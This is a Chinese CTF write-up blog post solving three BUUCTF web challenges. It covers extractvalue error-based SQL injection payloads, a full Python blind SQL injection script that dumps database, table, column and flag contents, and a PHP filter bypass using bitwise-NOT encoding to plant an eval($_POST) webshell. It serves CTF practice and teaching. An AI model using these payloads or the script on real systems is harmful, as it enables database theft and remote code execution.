BUUCTF-web刷题记录-2

[极客大挑战 2019]HardSQL

一个登陆框,简单测试一下很多包括union等字符被过滤了,这里这样构造可以成功登录,但是没有flag,所以是要把flag从数据库读出来了

admin'Or(1)#
1

发现^没有被过滤,可以用来代替and,与extractvalue函数结合来尝试进行报错注入
这个函数在这里的大致用法是这样的,extractvalue(null,concat(0x7e,user(),0x7e)),中间的user()即为你想执行的查询语句
接下来这题就是爆库,爆表,爆字段,爆内容的基本操作了
注入过程语句

1'^extractvalue(null,concat(0x7e,database(),0x7e))#
1'^extractvalue(null,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like'geek'),0x7e))#
1'^extractvalue(null,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like'H4rDsq1'),0x7e))#
1'^extractvalue(null,concat(0x7e,(select(group_concat(id,username,password))from(geek.H4rDsq1)),0x7e))#
1'^extractvalue(null,concat(0x7e,(select(group_concat(password))from(geek.H4rDsq1)),0x7e))#

直到上面的最后一步,我们可以看得到一部分的flag,为什么没有显示完全呢,因为extractvalue函数最多显示32位
BUUCTF-web刷题记录-2_第1张图片
然后从右查询一下就好了

1'^extractvalue(null,concat(0x7e,(select(right(password,30))from(geek.H4rDsq1)),0x7e))#

BUUCTF-web刷题记录-2_第2张图片
两部分找准位置,拼接,即可得到flag

[极客大挑战 2019]FinalSQL

简单测试是search.php的参数id处存在sql注入,因为这里错误了只回显error,所以不能像上面一样报错注入了,只能尝试盲注了

自己写的一个二分py盲注脚本

import requests
import time

url = "http://2a44fa89-7382-4594-9d62-0ac6c92114d2.node3.buuoj.cn/search.php?"

def getDatabase():
    print("----------getDatabase----------")
    database = ""
    for i in range(1,1000):
        low = 32
        high = 128
        mid = (low + high) // 2
        while (low < high):
            payload = "id=1^(ascii(substr((select(database())),{},1))<{})^1".format(i,mid)
            attack = url + payload
            res = requests.get(attack)
            if ("NO! Not this! Click others~~~" in res.text):
                high = mid
            else:
                low = mid + 1
            mid = (low + high) // 2
        if((mid <= 32) or (mid >= 127)):
            break
        database += chr(mid - 1)
        print(database)
    return database


def getTables(database):
    print("----------getTables----------")
    tables = ""
    for i in range(1,1000):
        low = 32
        high = 128
        mid = (low + high) // 2
        while (low < high):
            payload = "id=1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=\'{}\')),{},1))<{})^1".format(database,i,mid)
            attack = url + payload
            res = requests.get(attack)
            if ("NO! Not this! Click others~~~" in res.text):
                high = mid
            else:
                low = mid + 1
            mid = (low + high) // 2
        if((mid <= 32) or (mid >= 127)):
            break
        tables += chr(mid - 1)
        print(tables)
    return tables
# getDatabase()

def getColumn(table):
    print("----------getColumn----------")
    column = ""
    for i in range(1,1000):
        low = 32
        high = 128
        mid = (low + high) // 2
        while (low < high):
            payload = "id=1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name=\'{}\')),{},1))<{})^1".format(table,i,mid)
            attack = url + payload
            res = requests.get(attack)
            if ("NO! Not this! Click others~~~" in res.text):
                high = mid
            else:
                low = mid + 1
            mid = (low + high) // 2
        if((mid <= 32) or (mid >= 127)):
            break
        column += chr(mid - 1)
        print(column)
    return column

def getFlag(column,table):
    print("----------getFlag----------")
    flag = ""
    for i in range(1,10000):
        low = 32
        high = 128
        mid = (low + high) // 2
        while (low < high):
            payload = "id=1^(ascii(substr((select(group_concat({}))from({})),{},1))<{})^1".format(column,table,i,mid)
            attack = url + payload
            res = requests.get(attack)
            if ("NO! Not this! Click others~~~" in res.text):
                high = mid
            else:
                low = mid + 1
            mid = (low + high) // 2
        if((mid <= 32) or (mid >= 127)):
            break
        flag += chr(mid - 1)
        print(flag)

if __name__ == '__main__':
    getTables(getDatabase())
    table = input("plz input table name:\n")
    getColumn(table)
    table1 = input("plz input search table:\n")
    column = input("plz input search column:\n")
    getFlag(column,table1)

这里要你手动输入一些参数,来进行查询,没有写成全自动化
BUUCTF-web刷题记录-2_第3张图片

[极客大挑战 2019]RCE ME


error_reporting(0);
if(isset($_GET['code'])){
	$code=$_GET['code'];
	if(strlen($code)>40){
		die("This is too Long.");
	}
	if(preg_match("/[A-Za-z0-9]+/",$code)){
		die("NO.");
	}
	@eval($code);
}
else{
	highlight_file(__FILE__);
}

// ?>

正则过滤了字母数字,可以取反绕过

?code=(~%8F%97%8F%96%91%99%90)();	//查看phpinfo

BUUCTF-web刷题记录-2_第4张图片
接下来构造shell

";
    echo urlencode(~'eval($_POST[a])');//%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9E%A2%D6
?>

我自己开始没有加assert,而是eval,但是没用,看到网上的wp是用assert,开始我对这个assert为什么不能用eval也是很迷惑,查询之后知道其实是因为eval是因为是一个语言构造器而不是一个函数,不能被可变函数调用,什么叫可变函数呢,可变函数即变量名加括号,我理解这里的eval()也是一个可变函数,所以eval不能被eval()调用,需要用assert()函数来作为中间人,在中间卡一下,即eval(assert(eval()))
参考链接
构造就是这样子

?code=(~%9E%8C%8C%9A%8D%8B)(~%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9E%A2%D6);

蚁剑连接,根目录下有一个flag文件,但是读取不了,是要通过readflag来读取flag,前不久也做过一个一样的,是因为禁用了很多函数

类似题目WP,GKCTF2020-CheckIN
但是这题构造的shell,不需要用到assert,有点不明白,望大佬们指点一下,拿flag倒是一样的操作
BUUCTF-web刷题记录-2_第5张图片

你可能感兴趣的:(BUUCTF刷题记录)